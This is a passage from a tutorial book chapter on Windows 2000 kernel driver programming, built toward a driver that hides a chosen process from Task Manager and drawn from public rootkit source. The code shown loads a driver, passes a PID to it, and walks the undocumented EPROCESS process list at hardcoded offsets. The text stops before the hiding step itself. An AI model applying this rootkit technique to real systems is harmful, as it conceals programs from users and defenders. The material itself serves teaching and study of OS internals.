Device
Driver - Hiding Programs Part1
|
It is human nature
to want what is not given. Microsoft for some reason never ever shared the source code of its
products in entirety with us lowly mortals. Thus internals fascinate everyone.
Writing a program that switches on the keyboard num lock, caps lock would raise
eyebrows in the good old days. Therefore, geniuses
like Andrew Schullman, David Maxey, Matt Pietrek and many more were
looked upon as Supernatural beings as they were masters in the undocumented
segment.
This book attempts
at exploring the internals of Windows Operating System but at the level of
device drivers, not exes or dlls. A device driver is a program that allows a
specific device, such as a modem, network adapter, or printer to communicate
with the operating system. They run transparently once they are loaded or
enabled. Normally device drivers get loaded when a computer is started. A
device driver has access to all memory and resources, thus to be a hard-core
programmer you have no choice but to learn writing one. Also, we believe that
security professionals need to understand these internals, without which
fighting viruses or break-ins is not viable.
Our approach at
writing device drivers is slightly different. As far as possible, we will avoid
all theory and the complex block diagrams. Our adage is “A program is worth a
1000 words”
This chapter starts
with the basics of device driver programming. However, it is aimed at
demonstrating the workings of a device driver that hides a selected program
from the windows task manager. A Task
Manager in Windows 2000 displays information about the computer performance,
the programs and processes that are running on your computer. It is normally
used to start programs, start or end processes, and observe the cpu usage. You can imagine the havoc that a device driver can create if the Windows
OS is kept uninformed about its existence.
Device Driver
Kits
Microsoft is
headstrong about not disclosing its internal code. As a result, they have made
it extremely difficult for anyone and everyone who desires to write code that
accesses privileged areas. This is seen when downloading the toolkit to write
device drivers. Device drivers have
extended access to protected areas and resources. For the toolkit, you have to
first go to the following URL
http://www.microsoft.com/whdc/devtools/ddk/orderddkcd.mspx
and request for a
driver toolkit Server 2003 DDK, which is free. But when you place an order for
DDK Suite 3, the amount disclosed is approx. 199 dollars. And depending upon
which part of the world you stay, this amount varies. This is the shipping
cost!!
Anyways, when you
receive your CD and install it, a directory called winddk is created. Within
this, there will be a sub-directory, in our case, 2600.1106, your version
number may vary. Also, ensure that Visual Studio 6.0 is installed.
Then create the
following batch file z.bat and y.c in c:\driver1.
z.bat
del y.exe
cl y.c advapi32.lib
This family of
functions resides in the dll advapi32.dll and hence we include the lib file
advapi32.lib for the linker. Remember, the linker by default looks at
oldnames.lib, libc.lib and kernel32.lib.
y.c
#include
<windows.h>
SC_HANDLE m,s;
void main(int argc,
char **argv)
{
m=OpenSCManager(0,0,SC_MANAGER_ALL_ACCESS
);
CreateService(m,"vijay","mukhi",SERVICE_ALL_ACCESS,SERVICE_KERNEL_DRIVER,SERVICE_DEMAND_START,SERVICE_ERROR_NORMAL,"C:\\driver1\\vijay.sys",0,0,0,0,0);
s=OpenService(m,"vijay",SERVICE_ALL_ACCESS);
StartService(s, 0,
0);
}
The OpenSCManager function establishes a connection
to the service control manager on the specified computer and opens the
specified service control manager database.
The above program
loads a device driver into memory. The first function called is OpenSCManager.
This function opens the specified service control manager database on the
computer name specified and returns a connection handle. The first parameter to
the function OpenSCManager is the name of the machine of the service manager. A
value of 0 or null means local machine. The second is the name of the service
control manager database to be opened. A value of zero signifies the database
represented by SERVICES_ACTIVE_DATABASE and the last parameter refers to the
access rights allowed with the service manager, we have asked for all rights. .
The return value,
which is a handle to the services manager is store in variable m. The data type
of variable m is SC_HANDLE, a typedef to HANDLE.
The reason we used
SC_HANDLE and not HANDLE is because one of the first rootkits that we used was
the FU rootkit. A good place to download rootkits is www.rootkit.com. The
source code of rootkits found on the net is what we have used as the basics of
writing this book. The Fu toolkit for some reason uses SC_HANDLE and so do we.
All our initial learning is what we have gleaned from understanding rootkits
found on the net. We cannot ever thank these brilliant programmers for
uncovering the internals of Windows. All that we have done is broken up what
they have done in more easily understood portions.
-*-*-*-*-*
The
CreateService function then creates a service object and adds it to the
specified service control manager database.
The first parameter
to this function is the handle to the service manager. Then, the second
parameter is the name of the service, vijay. The next parameter is the display
name for the service used by third part programs, mukhi. Then is the service
access rights, in our case, it is all rights.
Windows recognizes
four types of services, as ours is a driver service, we use the service type
SERVICE_KERNEL. The others are:
Moreover, there are
five ways of starting a service, the option we specify indicates that our
driver will be loaded in memory only with the StartService function. The other methods are:
The next parameter
handles the errors and there are once again four options. Its logs the error,
shows us a message box and continues with life and the rest of the startup
operation. The others options are:
Finally the last
parameter is the path name of the file containing the device driver in its
entirety. In the windows world, device drivers are present in sys files.
Accordingly, our device driver will reside in a file called vijay.sys in the
driver1 sub-directory.
We then open an
existing service by using the OpenService function. The first parameter is the
handle to the service manager m, which has been created earlier. Then is the
name of the service to be opened, vijay. Finally, the last parameter is the
access rights to be given to our service.
This function
finally returns the handle to the service itself. Our service is programmed to
start with the use of the StartService function. The first parameter to this
function is the service handle returned
by the OpenService function. The next are the number of arguments to be given
to the service i.e. argc and finally comes the actual array of strings i.e.
argv.
With this
information, the service manager is ready to load the device driver in memory.
There is an entire different world of programming for creating windows
services.
However it is too
early to run the batch file z.bat as the device driver is not yet created. So
lets proceed to building the device driver.
b.bat
cd
\winddk\2600.1106\bin
call setenv
c:\winddk\2600.1106
cd \driver1
del r.obj
del vijay.sys
cl -Ic:\winddk\2600.1106\inc\ddk\wxp
-Ic:\winddk\2600.1106\inc\crt -D_X86_=1 /c /Gz r.c
link -subsystem:native,5.01
-entry:DriverEntry@8 -out:vijay.sys r.obj
c:\winddk\2600.1106\lib\wxp\i386\ntoskrnl.lib
The device driver
toolkit brings with it a set of header files, libraries, samples and help. At
the time of installation, the default directory can be changed, as a result,
the include, lib and the rest of the environment variables are to be manually
set. There is a batch file called setenv in the directory c:\winddk\2600.1106\bin
that initializes all these environment variables. In b.bat, this batch file is
given the root directory c:\winddk\2600.1106.
Once the settings
are complete, the compiler and linker are called to build the device driver.
The –l option with the compiler brings in two include directories for the
header files and the –D option contributes in creating a macro X86_. Macros are used internally by the header
files. The /c option simply compiles the file.
It is the calling
convention that decides on how the parameters are placed on the stack.
Moreover, it also determines whether the caller or callee would reset the stack
back to the position before the function call. And lastly, it can change the
function name by adding a number at the end. The /Gz option calls for the
_stdcall calling convention as against the default, which is _cdecl. There is
one more calling convention called the _fastcall. Finally, the code for the
driver is in the file r.c.
With the linker
command, the –out option is given to explicitly name the output file,
vijay.sys. For some reason, the setenv does not set the lib variable to point
to ntoskrnl.lib and the code for some of the functions reside in it. So, we
manually set the lib variable to point to the file with the full pathname,
c:\winddk\2600.1106\lib\wxp\i386. The double quotes are given due to the. in
the path name.
Next, the linker is
programmed to look for main or WinMain in a file. But in the device driver,
there is no such thing, Microsoft recommends the use of DriverEntry for the
startup function, and hence the entrypoint option. The compiler adds the @ sign
followed by the total space occupied by all the parameters due to the –Gz
option. In our case, DriverEntry takes up 8 bytes on the stack and thus the characters
@8 are added to its name.
The last option for
the linker is the subsystem, which specifies the type of output file, whether a
dll or exe or device driver, the default is an exe file. The option native
indicates a device driver, This is followed by the major and minor version
numbers which if not specified defaults to 4.00, in our case we want the
version to be 5.01.
r.c
#include
<ntddk.h>
NTSTATUS
DriverEntry(PDRIVER_OBJECT
d,PUNICODE_STRING p)
{
DbgPrint("vijay1");
return
STATUS_SUCCESS;
}
In our smallest
driver program, first comes the preprocessor, the include directive with the
header file ntddk.h. In the newer Windows Driver Model or WDM, the header file
included would be wdm.h. NTSTATUS is a typedef for a long. The function
DriverEntry takes two parameters, the first parameter is a pointer to a
structure DRIVER_OBJECT that will be
put ot use in our next program. The second parameter is a pointer to another
structure, UNICODE_STRING.
typedef struct
_UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR
Buffer;
} UNICODE_STRING;
A PWSTR is typedef
WCHAR *PWSTR. A WCHAR is typedef wchar_t
WCHAR. Finally a wchar_t is typedef unsigned short wchar_t. Thus, PWSTR is
nothing but a pointer to an unsigned short. A UNICODE_STRING structure simply
stores a pointer to the Unicode string, not the entire string. It also stores
the actual length and the maximum possible length.
The Unicode string
is used extensively in device drivers. Which means that a Unicode string must
be converted into a structure using some function. A return 0 or STATUS_SUCCESS
denotes no problems. On running the y.exe executable, it will load the device
driver vijay.sys in memory.
We’d rather be safe
than sorry. So it is better to take a confirmation that windows has recognized
our executable as a device driver. For this purpose, prior to executing the
executable, click on Start, Programs, Development Kits, Windows DDK 2600.1106,
Tools, Device Tree. This program displays all the device drivers in memory. The
first window of all loaded drivers presently does not show our device driver
named vijay.
Now when y.exe is
executed, apparently nothing happens,
but the device tree program will show Vijay. Click on menu option View,
Refresh if your do not see ‘/Device/vijay’. This is enough proof that windows
recognizes our device driver and displays its service name as vijay.
Function DbgPrint
behaves like a printf but can be used exclusively for the device driver world.
However the problem is the output device. Where should it display the string?
The device driver runs as an exalted program in ring 0. Even though Intel allows
a program to be loaded in 4 rings, ring 0 to ring 3, Windows loads all user
programs in ring 3 and device drivers in ring 0.
A debugger can be
used to display all the DbgPrint output. However a better approach here is to
download another program called DbgView whose sole task is to display the
output of the DbgPrint function. This program can be freely downloadable from
the site http://www.sysinternals.com/files/dbgvnt.zip.
Simply unzip it and
then run the executable dbgview. At present, there is no display as the device
driver is already loaded in memory. For now, the only way out is to reboot the
machine as we have not shown you how to unload the driver from memory.
After rebooting,
the order to be followed is first to run the device tree, then dbgview and
lastly the program y. vijay1 is displayed in the third column of the dbgview
program. Thus functions like DbgPrint turn handy when working with device
drivers.
r.c
#include
<ntddk.h>
NTSTATUS
DriverEntry(PDRIVER_OBJECT
d,PUNICODE_STRING p)
{
DbgPrint("DriverEntry
%S %x",p->Buffer,d);
return
STATUS_SUCCESS;
}
We make one small
change to the DbgPrint function. We first display the second parameter that is
a Unicode string. We have to use %S and not %s to display its value. This is
the registry entry that our device driver is provided so that it can use this
path to store its own registry entries. In the dbgview monitor we see the
following.
DriverEntry \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\vijay
81a65610
The actual registry
entry is HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\vijay. Some of the
registry keys are set for us and we are supposed to use this path to create
more registry entries. We can use the entire registry but it is advisable that
we use the above path. The second value displayed is the address of the driver
object passed to us 81a65610. This is the same address displayed by the device
view program in the column Driver Object.
For some vague
reason if we change the name of the function from DriverEntry to aaa in y.c and
also in the b.bat file, the driver does not load. Hence keep the function name
as DriverEntry only.
r.c
#include
<ntddk.h>
UNICODE_STRING n;
NTSTATUS DriverEntry(PDRIVER_OBJECT d,PUNICODE_STRING p)
{
RtlInitUnicodeString
(&n,L"sonal");
DbgPrint("DriverEntry
%S %d %d",n.Buffer,n.Length,n.MaximumLength);
return
STATUS_SUCCESS;
}
DriverEntry sonal
10 12
We have a macro L
that converts an ASCII string to a unicode string. Thus sonal now becomes a
unicode string as the second parameter of the function RtlInitUnicodeString. All that this function
does is initializes the UNICODE_STRING structure passed as the first parameter.
It set the Buffer member of the structure n to the unicode string sonal.
A unicode string is
different for a ASCII string as each character takes 2 bytes instead of 1. As
the ASCII string sonal has five characters,
the unicode sonal will have 10 characters, each other character being a zero.
This member Length is set to the length of the string 10. As all strings are
null terminated, in unicode a null takes up 2 bytes and the member
MaximumLength is set to 12.
All this is done by
the function RtlInitUnicodeString. This
function is in the dll ntdll.dll. The only problem with this dll is
there exists no corresponding lib file and hence we can never directly link.
Thus if we have to test code from ntdll.dll we have to use a indirect method.
d.c
#include
<windows.h>
struct zzz
{
unsigned short Length;
unsigned short
MaximumLength;
unsigned short
*Buffer;
};
void (__stdcall
*a)(struct zzz *d,unsigned short *s);
HANDLE b;
struct zzz c;
void main(void)
{
b =
LoadLibrary("ntdll.dll");
a = (void *)
GetProcAddress(b," RtlInitUnicodeString ");
a(&c,L"sonal");
printf("%S %d
%d\n",c.Buffer,c.Length,c.MaximumLength);
}
We first use the
function LoadLibrary to load the dll ntdll.dll in memory. We could have also
used function GetModuleHandle as the dll is always loaded in memory. If the dll
is not loaded in memory LoadLibrary loads it and then returns to us the address
of where the dll is loaded in memory which we store in the variable b. We then
use the function GetProcAddress to give us the address of the function
RtlInitUnicodeString in the ntdll.dll which we store in variable a.
We then call the
function RtlInitUnicodeString using the
pointer a passing it the address of the structure c of type UNICODE_STRING and
the unicode string sonal as the second parameter. We then print out the members
of the structure c which have the same values like the earlier program. There
is just one difference between the two programs, the earlier program code ran
in ring 0, the current one in ring 3.
r.c
#include
<ntddk.h>
NTSTATUS
abcCreate(PDEVICE_OBJECT DeviceObject,PIRP Irp)
{
DbgPrint("abcCreate");
return
STATUS_SUCCESS;
}
NTSTATUS
DriverEntry(PDRIVER_OBJECT
d,PUNICODE_STRING p)
{
UNICODE_STRING
devicename,filename;
PDEVICE_OBJECT r;
DbgPrint("DriverObject");
RtlInitUnicodeString(&devicename,L"\\Device\\bbb");
RtlInitUnicodeString(&filename,L"\\DosDevices\\aaa");
IoCreateDevice(d,0,&devicename,0,0,0,&r);
IoCreateSymbolicLink
(&filename,&devicename);
d->MajorFunction[IRP_MJ_CREATE]=abcCreate;
return
STATUS_SUCCESS;
}
y.c
#include
<windows.h>
SC_HANDLE
m,s;HANDLE g;
void main(int argc,
char **argv)
{
m=OpenSCManager(0,0,SC_MANAGER_ALL_ACCESS
);
CreateService(m,"vijay","mukhi",SERVICE_ALL_ACCESS,SERVICE_KERNEL_DRIVER,SERVICE_DEMAND_START,SERVICE_ERROR_NORMAL,"C:\\driver1\\vijay.sys",0,0,0,0,0);
s=OpenService(m,"vijay",SERVICE_ALL_ACCESS);
StartService(s, 0,
0);
g=CreateFile("\\\\.\\aaa",GENERIC_READ
| GENERIC_WRITE,0,0,OPEN_EXISTING,0,0);
printf("g=%x\n",g);
}
DbgView Output
DriverObject
AbcCreate
Dos Window
3a4
Lets start with the
device driver code first. We first initialize two UNICODE_STRING structures
devicename and filename with two unicode strings \\Device\\bbb
and \\DosDevices\\aaa using the function
RtlInitUnicodeString. Our device driver now needs to create a device so that a
exe program running at ring 3 can communicate with it. The function
IoCreateDevice is just what the doctor ordered.
The first parameter
is the DRIVER_OBJECT that stands for our driver, the second is the size of the
device extension, in our case 0. The third is the name of the device object so
that others entities can refer to us by name. The next three parameters are
zeroes and represent the Device type, its characteristics and whether it is for
exclusive system use. The last parameter is the handle to the actual device
object that has been created by the system.
Thus we have now
created a actual device called Device\bbb that others can use for doing IO on
our driver. If we now run the program Device Tree, it will show our device bbb.
Now we need to create a link so that other programs can use our newly created
device.
The function
IoCreateSymbolicLink takes two unicode strings, the first is the name other
programs will use to communicate with our driver aaa, the second is the actual
name of the driver we used in the earlier function. Now in our exe file we can
use the function CreateFile to create a handle to our driver.
We have to use the
name aaa with three sets of backslashes. The words Devices and DosDevices are
part of the syntax. The CreateFile function not only lets us deal with files,
but with com ports, shared memory etc. The only useful parameters are where we
specify that we want to read and write to our device driver and to use the
existing one. The handle returned in our case is 3a4, an error would gives us
all F’s.
This means that our
driver has created a device aaa that can be accessed from ring 3.
In the DriverEntry
function the DRIVER_OBJECT parameter is the most important for us. We have a
member MajorFunction that is nothing but an array of pointers to functions.
When we specify our device aaa in the CreateFile function, the operating system
calls the function specified by the array MajorFunction[0] as the value of
IRP_MJ_CREATE is 0.
Thus the function
abcCreate gets called. What we do here is our business but all that we know is
that someone is trying to create a file handle to our driver. Like this we have
about a dozen array members in the array MajorFunction that allows us to have
our code being called when certain events occur. One such event is when code in
user land wants to communicate with our driver. If we do not associate a
function with IRP_MJ_CREATE, the CreateFile function fails.
r.c
#include
<ntddk.h>
NTSTATUS
abcDevice(PDEVICE_OBJECT DeviceObject,PIRP Irp)
{
DbgPrint("abcDevice");
IoCompleteRequest
(Irp, IO_NO_INCREMENT);
return
STATUS_SUCCESS;
}
NTSTATUS
abcCreate(PDEVICE_OBJECT DeviceObject,PIRP Irp)
{
DbgPrint("abcCreate");
return
STATUS_SUCCESS;
}
NTSTATUS
DriverEntry(PDRIVER_OBJECT
d,PUNICODE_STRING p)
{
UNICODE_STRING
devicename,filename;
PDEVICE_OBJECT r;
DbgPrint("DriverObject");
RtlInitUnicodeString(&devicename,L"\\Device\\bbb");
RtlInitUnicodeString(&filename,L"\\DosDevices\\aaa");
IoCreateDevice(d,0,&devicename,0,0,0,&r);
IoCreateSymbolicLink
(&filename,&devicename);
d->MajorFunction[IRP_MJ_CREATE]=abcCreate;
d->MajorFunction[IRP_MJ_DEVICE_CONTROL]=abcDevice;
return
STATUS_SUCCESS;
}
y.c
#include
<windows.h>
SC_HANDLE
m,s;HANDLE g;long b;
void main(int argc,
char **argv)
{
m=OpenSCManager(0,0,SC_MANAGER_ALL_ACCESS
);
CreateService(m,"vijay","mukhi",SERVICE_ALL_ACCESS,SERVICE_KERNEL_DRIVER,SERVICE_DEMAND_START,SERVICE_ERROR_NORMAL,"C:\\driver1\\vijay.sys",0,0,0,0,0);
s=OpenService(m,"vijay",SERVICE_ALL_ACCESS);
StartService(s, 0,
0);
g=CreateFile("\\\\.\\aaa",GENERIC_READ
| GENERIC_WRITE,0,0,OPEN_EXISTING,0,0);
printf("g=%x\n",g);
DeviceIoControl(g,0,(void
*)0,0,0,0,&b,0);
}
DriverObject
abcCreate
abcDevice
We would now like
our exe program to communicate with our driver. To this we use the function
DeviceIoControl. We specify the handle to the file or in our case the device
driver as the first parameter. All the rest are 0’s which we will explain
later. The second last parameter is the number of bytes returned by the device
driver. When we make such a call to our device driver, the system looks at the
function address stored in the IRP_MJ_DEVICE_CONTROL offset of the
MajorFunction array.
The array offset is
14. Thus the function abcDevice gets called with the same parameters as the
abcCreate. Thus our device driver can now do whatever it likes, in our case it
will hide the process we tell it to.
The DeviceIoControl is blocking and unless the device driver does not
release it, it will continue sleeping. Thus in abcDevice we have to call the
function IoCompleteRequest specifying that we have completed the user land
request.
If we do not, the
function DeviceIoControl hangs and no amount of Ctrl-C will get us out. We use
the value IO_NO_INCREMENT as we can complete the request very quickly. For a
long time this is the only value we will use.
y.c
#include
<windows.h>
SC_HANDLE
m,s;HANDLE g;long b,pid;
void main(int argc,
char **argv)
{
pid =
atoi(argv[1]);
m=OpenSCManager(0,0,SC_MANAGER_ALL_ACCESS
);
CreateService(m,"vijay","mukhi",SERVICE_ALL_ACCESS,SERVICE_KERNEL_DRIVER,SERVICE_DEMAND_START,SERVICE_ERROR_NORMAL,"C:\\driver1\\vijay.sys",0,0,0,0,0);
s=OpenService(m,"vijay",SERVICE_ALL_ACCESS);
StartService(s, 0,
0);
g=CreateFile("\\\\.\\aaa",GENERIC_READ
| GENERIC_WRITE,0,0,OPEN_EXISTING,0,0);
printf("g=%x\n",g);
DeviceIoControl(g,2,(void
*)&pid,4,0,0,&b,0);
}
y 212
When we run our program
y, we pass it a parameter which will later on be the process id of our program
that we want to hide. The 212 that we pass becomes the value of argv[1] and we
use the atoi function to convert the string to an int. We will call the
DeviceIoControl program lots of times to communicate with our device driver.
The second parameter is a number that lets us distinguish different calls to
the device driver. In the abcCreate we can check for this parameter and
depending upon its value do different things. In the device driver we will show
you how to extract this value. The third parameter is the address of a memory
location that will be passed to our device driver. The next parameter is the
length of the area of memory. Thus the four bytes occupied by the long variable
pid are passed to the driver where we will extract the value and display it.
DbgOutput
DriverObject
abcCreate
abcDevice pid=212
code=2 MajorFunction=14
#include
<ntddk.h>
NTSTATUS
abcDevice(PDEVICE_OBJECT DeviceObject,PIRP Irp)
{
IO_STACK_LOCATION
*irpStack;
long *inputBuffer;
long
pid,ioControlCode;
irpStack =
IoGetCurrentIrpStackLocation (Irp);
inputBuffer = (long
*)Irp-> AssociatedIrp.SystemBuffer;
pid = *inputBuffer;
ioControlCode =
irpStack->Parameters.DeviceIoControl.IoControlCode;
DbgPrint("abcDevice
pid=%d code=%d
MajorFunction=%d",pid,ioControlCode,irpStack->MajorFunction);
IoCompleteRequest(Irp,IO_NO_INCREMENT);
return
STATUS_SUCCESS;
}
NTSTATUS
abcCreate(PDEVICE_OBJECT DeviceObject,PIRP Irp)
{
DbgPrint("abcCreate");
return STATUS_SUCCESS;
}
NTSTATUS
DriverEntry(PDRIVER_OBJECT
d,PUNICODE_STRING p)
{
UNICODE_STRING
devicename,filename;
PDEVICE_OBJECT r;
DbgPrint("DriverObject");
RtlInitUnicodeString(&devicename,L"\\Device\\bbb");
RtlInitUnicodeString(&filename,L"\\DosDevices\\aaa");
IoCreateDevice(d,0,&devicename,0,0,0,&r);
IoCreateSymbolicLink
(&filename,&devicename);
d->MajorFunction[IRP_MJ_CREATE]=abcCreate;
d->MajorFunction[IRP_MJ_DEVICE_CONTROL]=abcDevice;
return
STATUS_SUCCESS;
}
We have added lots
of code in our abcDevice function. An IRP is the basis of all device driver
communication. Its full form is Input/Output Request Packet and it is a complex
structure. Each time abcDevice gets called the second parameter represents the
data that we are passed and we in turn can pass to whoever calls us.
The function
IoGetCurrentIrpStackLocation is used to get a IO_STACK_LOCATION pointer that
lets us access the input parameters. Thus we use this function to get at the
input memory passed by the program in ring 3. The member AssociatedIrp member
is a union of which we use the void * pointer SystemBuffer which points to the
area of memory in ring 0 that we can get our input parameters.
We cast it to a
pointer t a long and when we access the four bytes, it gives us a value 212 the
same that we have placed to the DeviceIoControl function. The irpStack pointer
has a member Parameters which is a union for parameters for all possible calls
like Create, Read etc. DeviceIoControl is a structure and IoControlCode
represents the second parameter of the DeviceIoControl function. The other
members are
struct
{
ULONG OutputBufferLength;
ULONG POINTER_ALIGNMENT InputBufferLength;
ULONG POINTER_ALIGNMENT IoControlCode;
PVOID Type3InputBuffer;
} DeviceIoControl;
Thus the value of
ioControlCode is 2. The irpStack pointer has a member MajorFunction that gives
us a value of 14, the value of IRP_MJ_DEVICE_CONTROL. This is how we can figure
out why our device driver code gets called. We have two functions abcCreate and
abcDevice to handle two different calls, in most device we use a single
function and thus use the MajorFunction member to differentiate between
different calls. This is how our device driver can get at the parameters passed
to it.
y.c
#include
<windows.h>
SC_HANDLE m,s;HANDLE
g;long b,pid;
void main(int argc,
char **argv)
{
pid =
atoi(argv[1]);
m=OpenSCManager(0,0,SC_MANAGER_ALL_ACCESS
);
CreateService(m,"vijay","mukhi",SERVICE_ALL_ACCESS,SERVICE_KERNEL_DRIVER,SERVICE_DEMAND_START,SERVICE_ERROR_NORMAL,"C:\\driver1\\vijay.sys",0,0,0,0,0);
s=OpenService(m,"vijay",SERVICE_ALL_ACCESS);
StartService(s, 0,
0);
g=CreateFile("\\\\.\\aaa",GENERIC_READ
| GENERIC_WRITE,0,0,OPEN_EXISTING,0,0);
printf("g=%x\n",g);
printf("%d\n",GetCurrentProcessId());
DeviceIoControl(g,2,(void
*)&pid,4,0,0,&b,0);
}
1308
r.c
#include
<ntddk.h>
NTSTATUS
abcDevice(PDEVICE_OBJECT DeviceObject,PIRP Irp)
{
IO_STACK_LOCATION
*irpStack;
long *inputBuffer;
unsigned long
pid,proc,currentpid;
irpStack =
IoGetCurrentIrpStackLocation(Irp);
inputBuffer = (long
*)Irp->AssociatedIrp.SystemBuffer;
pid = *inputBuffer;
proc= (unsigned
long ) PsGetCurrentProcess ();
currentpid =
*((unsigned long *)(proc+156));
DbgPrint("abcDevice
pid=%d proc=%x currentpid=%d",pid,proc,currentpid);
IoCompleteRequest(Irp,IO_NO_INCREMENT);
return
STATUS_SUCCESS;
}
NTSTATUS
abcCreate(PDEVICE_OBJECT DeviceObject,PIRP Irp)
{
DbgPrint("abcCreate");
return
STATUS_SUCCESS;
}
NTSTATUS
DriverEntry(PDRIVER_OBJECT
d,PUNICODE_STRING p)
{
UNICODE_STRING devicename,filename;
PDEVICE_OBJECT r;
DbgPrint("DriverObject");
RtlInitUnicodeString(&devicename,L"\\Device\\bbb");
RtlInitUnicodeString(&filename,L"\\DosDevices\\aaa");
IoCreateDevice(d,0,&devicename,0,0,0,&r);
IoCreateSymbolicLink
(&filename,&devicename);
d->MajorFunction[IRP_MJ_CREATE]=abcCreate;
d->MajorFunction[IRP_MJ_DEVICE_CONTROL]=abcDevice;
return
STATUS_SUCCESS;
}
abcDevice pid=212
proc=81ad2a60 currentpid=1308
Every program that
we run under windows is given a unique number called the process id of the
program or its pid. The function GetCurrentProcessId returns the process id of
the program currently running. In our case its value is 1308.
In our device
driver we use the function PsGetCurrentProcess that returns to us the address
of a structure that represents the current process running. In our case it
obviously refers to the program y.exe. As per the Windows documentation this
function returns a pointer to a structure EPROCESS which is undocumented.
Some bright guys on
the net realized that 156 bytes from the start of this structure is stored the
actual process id. So all that we do is add 156 to the variable proc that has
the value returned by function PsGetCurrentProcess, cast it to a pointer to
long and in the variable currentpid we have the actual pid of the current
process. The value in our case is 1308 which simply confirms the above.
r.c
#include
<ntddk.h>
struct process
{
char a[156];
long pid;
LIST_ENTRY
*Flink,*Blink;
};
NTSTATUS
abcDevice(PDEVICE_OBJECT DeviceObject,PIRP Irp)
{
struct process
*proc;
int i;
proc= (struct
process *) PsGetCurrentProcess ();
for ( i = 0 ; i
<= 50; i++)
{
DbgPrint("pr=%x
List_ENTRY=%x %x Flink=%x Blink=%x",proc,(char
*)proc+160,&proc->Flink,proc->Flink,proc->Blink);
DbgPrint("%s:%d",(char
*)proc+508,proc->pid);
proc = (struct
process *)( (char *)proc->Flink - 160);
}
IoCompleteRequest(Irp,IO_NO_INCREMENT);
return
STATUS_SUCCESS;
}
NTSTATUS
abcCreate(PDEVICE_OBJECT DeviceObject,PIRP Irp)
{
DbgPrint("abcCreate");
return STATUS_SUCCESS;
}
NTSTATUS
DriverEntry(PDRIVER_OBJECT
d,PUNICODE_STRING p)
{
UNICODE_STRING
devicename,filename;
PDEVICE_OBJECT r;
DbgPrint("DriverObject");
RtlInitUnicodeString(&devicename,L"\\Device\\bbb");
RtlInitUnicodeString(&filename,L"\\DosDevices\\aaa");
IoCreateDevice(d,0,&devicename,0,0,0,&r);
IoCreateSymbolicLink
(&filename,&devicename);
d->MajorFunction[IRP_MJ_CREATE]=abcCreate;
d->MajorFunction[IRP_MJ_DEVICE_CONTROL]=abcDevice;
return
STATUS_SUCCESS;
}
DriverObject
abcCreate
pr=8174c760
List_ENTRY=8174c800 8174c800 Flink=8046e728 Blink=81adf6a0
y.exe:876
pr=8046e688
List_ENTRY=8046e728 8046e728 Flink=8202fc00 Blink=8174c800
:0
pr=8202fb60
List_ENTRY=8202fc00 8202fc00 Flink=81fa5720 Blink=8046e728
System:8
pr=81fa5680
List_ENTRY=81fa5720 81fa5720 Flink=81dff340 Blink=8202fc00
smss.exe:160
pr=81dff2a0
List_ENTRY=81dff340 81dff340 Flink=81f7a0c0 Blink=81fa5720
csrss.exe:184
pr=81f7a020
List_ENTRY=81f7a0c0 81f7a0c0 Flink=81dd0c40 Blink=81dff340
winlogon.exe:180
pr=81dd0ba0
List_ENTRY=81dd0c40 81dd0c40 Flink=81f74780 Blink=81f7a0c0
cmd.exe:1256
pr=8174c760
List_ENTRY=8174c800 8174c800 Flink=8046e728 Blink=81adf6a0
y.exe:876
pr=8046e688
List_ENTRY=8046e728 8046e728 Flink=8202fc00 Blink=8174c800
:0
pr=8202fb60 List_ENTRY=8202fc00
8202fc00 Flink=81fa5720 Blink=8046e728
System:8
The above program
does something useful, it prints out the names of programs running on the
machine and also their process ids. If you ever spoke to Bill Gates, he will
tell you that it is not possible has Microsoft does not publish the internals
of windows. Enough people on the net found out what Microsoft does not want you
to know. Here goes.
As mentioned in the
last program the function PsGetCurrentProcess returns a pointer to an undocumented
structure. The structure tag process represents some crucial elements of this
undocumented structure. The first 156 bytes are unknown and the next four as
mentioned earlier is the process id. Then we have two pointers to LIST_ENTRY
structures Flink and Blink.
A LIST_ENTRY
structure is nothing but a structure that has two pointers Flink and Blink
which point to LIST_ENTRY structures. This is how Windows uses a doubly link
list to keep entities together. Thus the Flink member points to a LIST_ENTRY structure
in another EPROCESS structure.
The point to note
is that the Flink and Blink members do not point to the start of a EPROCESS structure but 160 bytes from the
beginning of the structure. The Blink member also points 160 bytes from the
start of the EPROCESS structure. Windows uses the Blink and Flink members to
traverse the link list in any direction that it wants.
In the for loop we
iterate 50 times so that we can prove that the linked list is circular and
after some time the same entries get displayed. The first thing we display is
the address of the proc variable is nothing but the starting address of each
EPROCESS structure. We then display the address and not contents of the area of
memory 160 bytes from the start of the EPROCESS structure.
This is where the
pointer Flink to a LIST_ENTRY is stored. We verify this also printing out the
address of the Flink variable. We then print out the Flink and Blink members.
As done before the pid member is 156 bytes from the start of the EPROCESS
structure and we print this out in the second DbgPrint structure. Another
undocumented member is the name of the program which is stored 508 bytes from
each EPROCESS structure.
This string is null
terminated and we display it using %s as it is a ASCII string. In Windows XP
these offsets vary and we will show them to you later. We then want to point to
the next EPROCESS structure. The problem is that proc->Flink will give us an
address that is 160 bytes from the start of the structure. Thus we want to
subtract 160 from it and as Flink as a pointer to a structure LIST_ENTRY which
is 8 bytes large, we have to cast it to a char *.
r.c
proc = (struct
process *)( (char *)proc->Blink - 160);
pr=8174e5e0
List_ENTRY=8174e680 8174e680 Flink=8046e728 Blink=8175a0c0
y.exe:1380
pr=8175a020
List_ENTRY=8175a0c0 8175a0c0 Flink=8174e680 Blink=81b36200
cmd.exe:1348
pr=81b36160
List_ENTRY=81b36200 81b36200 Flink=8175a0c0 Blink=81b67ce0
DBGVIEW.EXE:1332
pr=81b67c40
List_ENTRY=81b67ce0 81b67ce0 Flink=81b36200 Blink=81b73c60
svchost.exe:1184
pr=8202fb60
List_ENTRY=8202fc00 8202fc00 Flink=81f36b80 Blink=8046e728
System:8
pr=8046e688
List_ENTRY=8046e728 8046e728 Flink=8202fc00 Blink=8174e680
:0
pr=8174e5e0
List_ENTRY=8174e680 8174e680 Flink=8046e728 Blink=8175a0c0
y.exe:1380
pr=8175a020
List_ENTRY=8175a0c0 8175a0c0 Flink=8174e680 Blink=81b36200
cmd.exe:1348
We have made only
one change to one program and replaced the Flink member to Blink. Thus we are
now traversing the link list in the reverse direction. Earlier we started with y and then went on
to System, smss.exe etc. Now we are starting from y again but we see cmd.exe,
DBGView.exe etc. Thus the names are displayed in the reverse order. This is how
a doubly linked list works.
Lets now understand
the exact structure of the linked list.
Let us start by
